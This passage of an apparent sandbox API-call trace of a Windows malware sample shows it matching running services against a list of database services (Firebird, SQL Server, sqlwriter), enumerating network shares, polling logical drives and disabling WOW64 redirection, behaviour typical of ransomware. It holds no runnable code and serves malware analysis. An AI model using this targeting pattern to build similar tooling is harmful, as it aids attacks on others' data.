(lpString="AudioEndpointBuilder") returned 20 [0155.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0155.968] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0155.968] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0155.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0155.968] lstrlenW (lpString="Audiosrv") returned 8 [0155.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0155.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0155.969] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0155.969] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0155.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0155.969] lstrlenW (lpString="BFE") returned 3 [0155.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0155.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0155.969] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0155.969] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0155.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0155.969] lstrlenW (lpString="BITS") returned 4 [0155.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BITS") returned 1 [0155.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BITS") returned 1 [0155.969] lstrcmpiW (lpString1="sqlwriter", lpString2="BITS") returned 1 [0155.969] lstrcmpiW (lpString1="mssqlserver", lpString2="BITS") returned 1 [0155.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BITS") returned 1 [0155.969] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0155.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0155.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0155.969] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0155.969] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0155.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0155.969] lstrlenW (lpString="CDPSvc") returned 6 [0155.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0155.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0155.969] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0155.969] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0155.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0155.969] lstrlenW (lpString="ClickToRunSvc") returned 13 [0155.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0155.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0155.970] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0155.970] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0155.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0155.970] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0155.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0155.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0155.970] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0155.970] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0155.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0155.970] lstrlenW (lpString="CryptSvc") returned 8 [0155.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0155.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0155.970] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0155.970] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0155.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0155.970] lstrlenW (lpString="DcomLaunch") returned 10 [0155.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0155.970] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0155.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0155.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0155.970] lstrlenW (lpString="DeviceAssociationService") returned 24 [0155.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0155.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0155.970] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0155.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0155.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0155.970] lstrlenW (lpString="Dhcp") returned 4 [0155.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0155.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0155.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0155.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0155.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0155.971] lstrlenW (lpString="Dnscache") returned 8 [0155.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0155.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0155.971] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0155.971] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0155.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0155.971] lstrlenW (lpString="DoSvc") returned 5 [0155.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DoSvc") returned 1 [0155.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DoSvc") returned 1 [0155.971] lstrcmpiW (lpString1="sqlwriter", lpString2="DoSvc") returned 1 [0155.971] lstrcmpiW (lpString1="mssqlserver", lpString2="DoSvc") returned 1 [0155.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DoSvc") returned 1 [0155.971] lstrlenW (lpString="DPS") returned 3 [0155.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0155.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0155.971] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0155.971] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0155.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0155.971] lstrlenW (lpString="DusmSvc") returned 7 [0155.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0155.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0155.971] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0155.971] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0155.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0155.971] lstrlenW (lpString="EventLog") returned 8 [0155.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0155.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0155.971] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0155.971] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0155.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0155.972] lstrlenW (lpString="EventSystem") returned 11 [0155.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0155.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0155.972] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0155.972] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0155.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0155.972] lstrlenW (lpString="FontCache") returned 9 [0155.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0155.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0155.972] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0155.972] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0155.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0155.972] lstrlenW (lpString="gpsvc") returned 5 [0155.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0155.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0155.972] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0155.972] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0155.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0155.972] lstrlenW (lpString="iphlpsvc") returned 8 [0155.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0155.972] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0155.972] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0155.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0155.972] lstrlenW (lpString="KeyIso") returned 6 [0155.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0155.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0155.972] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0155.972] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0155.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0155.972] lstrlenW (lpString="LanmanServer") returned 12 [0155.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0155.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0155.973] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0155.973] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0155.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0155.973] lstrlenW (lpString="LanmanWorkstation") returned 17 [0155.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0155.973] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0155.973] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0155.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0155.973] lstrlenW (lpString="lfsvc") returned 5 [0155.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0155.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0155.973] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0155.973] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0155.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0155.973] lstrlenW (lpString="lmhosts") returned 7 [0155.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0155.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0155.973] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0155.973] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0155.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0155.973] lstrlenW (lpString="LSM") returned 3 [0155.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 Thread: id = 845 os_tid = 0x1bf8 [0122.407] WaitForSingleObject (hHandle=0x19fddc, dwMilliseconds=0xffffffff) returned 0xffffffff [0122.407] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e0820 | out: hHeap=0x5a0000) returned 1 Thread: id = 846 os_tid = 0x1bfc [0122.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x656400 [0122.408] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656400, Size=0x20) returned 0x5e3870 [0122.408] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x5e3870, Size=0x40) returned 0x5b2380 [0122.408] GetLogicalDrives () returned 0x4 [0122.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x657b28 [0122.408] GetComputerNameW (in: lpBuffer=0x657b2c, nSize=0x228ff64 | out: lpBuffer="NQDPDE", nSize=0x228ff64) returned 1 [0122.408] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x648bf8 [0122.409] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x228ff34 | out: lphEnum=0x228ff34*=0x5b8168) returned 0x0 [0122.409] WNetEnumResourceW (in: hEnum=0x5b8168, lpcCount=0x228ff30, lpBuffer=0x648bf8, lpBufferSize=0x228ff38 | out: lpcCount=0x228ff30, lpBuffer=0x648bf8, lpBufferSize=0x228ff38) returned 0x103 [0122.410] WNetCloseEnum (hEnum=0x5b8168) returned 0x0 [0122.411] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x228ff34 | out: lphEnum=0x228ff34*=0x5ba9f8) returned 0x0 [0128.663] WNetEnumResourceW (in: hEnum=0x5ba9f8, lpcCount=0x228ff30, lpBuffer=0x648bf8, lpBufferSize=0x228ff38 | out: lpcCount=0x228ff30, lpBuffer=0x648bf8, lpBufferSize=0x228ff38) returned 0x0 [0128.663] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x5fe5f0 [0128.663] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x648bf8, lphEnum=0x228ff08 | out: lphEnum=0x228ff08*=0x5b80c8) returned 0x0 [0128.666] WNetEnumResourceW (in: hEnum=0x5b80c8, lpcCount=0x228ff04, lpBuffer=0x5fe5f0, lpBufferSize=0x228ff0c | out: lpcCount=0x228ff04, lpBuffer=0x5fe5f0, lpBufferSize=0x228ff0c) returned 0x103 [0128.666] WNetCloseEnum (hEnum=0x5b80c8) returned 0x0 [0128.666] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x5f95c8 [0128.666] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x648c18, lphEnum=0x228ff08 | out: lphEnum=0x228ff08*=0x0) returned 0x4b8 [0147.152] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x1000) returned 0x3d5f110 [0147.152] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x648c38, lphEnum=0x228ff08 | out: lphEnum=0x228ff08*=0x0) returned 0x4c6 [0147.446] WNetEnumResourceW (in: hEnum=0x5ba9f8, lpcCount=0x228ff30, lpBuffer=0x648bf8, lpBufferSize=0x228ff38 | out: lpcCount=0x228ff30, lpBuffer=0x648bf8, lpBufferSize=0x228ff38) returned 0x103 [0147.446] WNetCloseEnum (hEnum=0x5ba9f8) returned 0x0 [0147.447] GetLogicalDrives () returned 0x4 [0147.447] Sleep (dwMilliseconds=0x64) [0147.960] GetLogicalDrives () returned 0x4 [0147.960] Sleep (dwMilliseconds=0x64) [0148.071] GetLogicalDrives () returned 0x4 [0148.071] Sleep (dwMilliseconds=0x64) [0148.367] GetLogicalDrives () returned 0x4 [0148.368] Sleep (dwMilliseconds=0x64) [0148.576] GetLogicalDrives () returned 0x4 [0148.576] Sleep (dwMilliseconds=0x64) [0148.979] GetLogicalDrives () returned 0x4 [0148.979] Sleep (dwMilliseconds=0x64) [0149.324] GetLogicalDrives () returned 0x4 [0149.324] Sleep (dwMilliseconds=0x64) [0149.451] GetLogicalDrives () returned 0x4 [0149.451] Sleep (dwMilliseconds=0x64) [0150.157] GetLogicalDrives () returned 0x4 [0150.157] Sleep (dwMilliseconds=0x64) [0150.831] GetLogicalDrives () returned 0x4 [0150.832] Sleep (dwMilliseconds=0x64) [0151.415] GetLogicalDrives () returned 0x4 [0151.415] Sleep (dwMilliseconds=0x64) [0151.815] GetLogicalDrives () returned 0x4 [0151.815] Sleep (dwMilliseconds=0x64) [0152.397] GetLogicalDrives () returned 0x4 [0152.397] Sleep (dwMilliseconds=0x64) [0153.352] GetLogicalDrives () returned 0x4 [0153.352] Sleep (dwMilliseconds=0x64) [0154.342] GetLogicalDrives () returned 0x4 [0154.342] Sleep (dwMilliseconds=0x64) [0155.055] GetLogicalDrives () returned 0x4 [0155.055] Sleep (dwMilliseconds=0x64) [0155.866] GetLogicalDrives () returned 0x4 [0155.867] Sleep (dwMilliseconds=0x64) Thread: id = 847 os_tid = 0x9e8 [0126.620] GetTickCount () returned 0x2354e [0126.620] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x24) returned 0x647088 [0126.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x647088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfe8 [0126.620] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x647088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfec [0126.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x647088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff0 [0126.621] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x647088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff4 [0126.622] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x6564d8 [0126.622] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x6564d8, Size=0x20) returned 0x5e3938 [0126.622] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x10) returned 0x656490 [0126.622] RtlReAllocateHeap (Heap=0x5a0000, Flags=0x0, Ptr=0x656490, Size=0x20) returned 0x5e3a28 [0126.622] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0126.622] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0126.622] Wow64DisableWow64FsRedirection (in: OldValue=0x23cff7c | out: OldValue=0x23cff7c*=0x0) returned 1 [0126.622] lstrlenW (lpString="kernel32.dll") returned 12 [0126.623] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3938 | out: hHeap=0x5a0000) returned 1 [0126.623] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.623] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x5e3a28 | out: hHeap=0x5a0000) returned 1 [0126.623] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x624ec0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xff8 [0126.625] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0127.922] GetTickCount () returned 0x23a5f [0127.922] GetTickCount () returned 0x23a5f [0127.922] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0128.180] GetTickCount () returned 0x23b69 [0128.180] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0128.361] GetTickCount () returned 0x23c15 [0128.361] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0128.482] GetTickCount () returned 0x23c92 [0128.482] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0128.825] GetTickCount () returned 0x23de9 [0128.825] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0128.937] GetTickCount () returned 0x23e57 [0128.937] GetTickCount () returned 0x23e57 [0128.937] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0129.040] GetTickCount () returned 0x23ec4 [0129.040] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0129.149] GetTickCount () returned 0x23f32 [0129.149] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0129.558] GetTickCount () returned 0x240c8 [0129.558] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0129.768] GetTickCount () returned 0x24193 [0129.768] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0130.190] GetTickCount () returned 0x24329 [0130.190] GetTickCount () returned 0x24329 [0130.190] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0130.404] GetTickCount () returned 0x24404 [0130.404] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0130.533] GetTickCount () returned 0x24481 [0130.533] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0130.649] GetTickCount () returned 0x244fe [0130.649] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0130.806] GetTickCount () returned 0x2459a [0130.806] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0130.932] GetTickCount () returned 0x24617 [0130.932] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0131.271] GetTickCount () returned 0x2476f [0131.271] GetTickCount () returned 0x2476f [0131.271] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0131.596] GetTickCount () returned 0x248b7 [0131.596] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0131.828] GetTickCount () returned 0x249a1 [0131.828] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0132.061] GetTickCount () returned 0x24a8c [0132.061] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0132.208] GetTickCount () returned 0x24b18 [0132.208] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0132.326] GetTickCount () returned 0x24b86 [0132.326] GetTickCount () returned 0x24b86 [0132.326] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0132.540] GetTickCount () returned 0x24c61 [0132.540] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0132.657] GetTickCount () returned 0x24cde [0132.657] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0132.774] GetTickCount () returned 0x24d4b [0132.774] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0132.904] GetTickCount () returned 0x24dd8 [0132.906] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0133.018] GetTickCount () returned 0x24e45 [0133.018] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0133.124] GetTickCount () returned 0x24eb2 [0133.124] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0133.233] GetTickCount () returned 0x24f20 [0133.233] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0133.402] GetTickCount () returned 0x24fbc [0133.402] GetTickCount () returned 0x24fbc [0133.402] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0133.531] GetTickCount () returned 0x25049 [0133.531] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0133.640] GetTickCount () returned 0x250b6 [0133.640] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0133.749] GetTickCount () returned 0x25123 [0133.749] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0133.884] GetTickCount () returned 0x251a0 [0133.884] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0134.009] GetTickCount () returned 0x2521d [0134.009] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0134.121] GetTickCount () returned 0x2528b [0134.121] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0134.243] GetTickCount () returned 0x25308 [0134.243] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0134.346] GetTickCount () returned 0x25375 [0134.346] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0134.453] GetTickCount () returned 0x253e2 [0134.453] GetTickCount () returned 0x253e2 [0134.453] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0134.580] GetTickCount () returned 0x2545f [0134.581] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0135.059] GetTickCount () returned 0x25634 [0135.059] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0135.183] GetTickCount () returned 0x256b1 [0135.183] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0135.340] GetTickCount () returned 0x2574d [0135.340] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0135.440] GetTickCount () returned 0x257bb [0135.440] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0135.571] GetTickCount () returned 0x25838 [0135.571] GetTickCount () returned 0x25838 [0135.572] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0135.695] GetTickCount () returned 0x258b5 [0135.695] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0135.821] GetTickCount () returned 0x25932 [0135.821] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0136.306] GetTickCount () returned 0x25b16 [0136.306] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0136.773] GetTickCount () returned 0x25ceb [0136.773] GetTickCount () returned 0x25ceb [0136.773] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0137.105] GetTickCount () returned 0x25e33 [0137.105] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0137.377] GetTickCount () returned 0x25f4c [0137.377] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0137.593] GetTickCount () returned 0x26017 [0137.593] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0137.716] GetTickCount () returned 0x26094 [0137.716] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0138.168] GetTickCount () returned 0x2625a [0138.168] GetTickCount () returned 0x2625a [0138.168] WaitForSingleObject (hHandle=0xff8, dwMilliseconds=0x64) returned 0x102 [0138.555] GetTickCount () returned 0x263e0 [0138.555] WaitForSingleObject 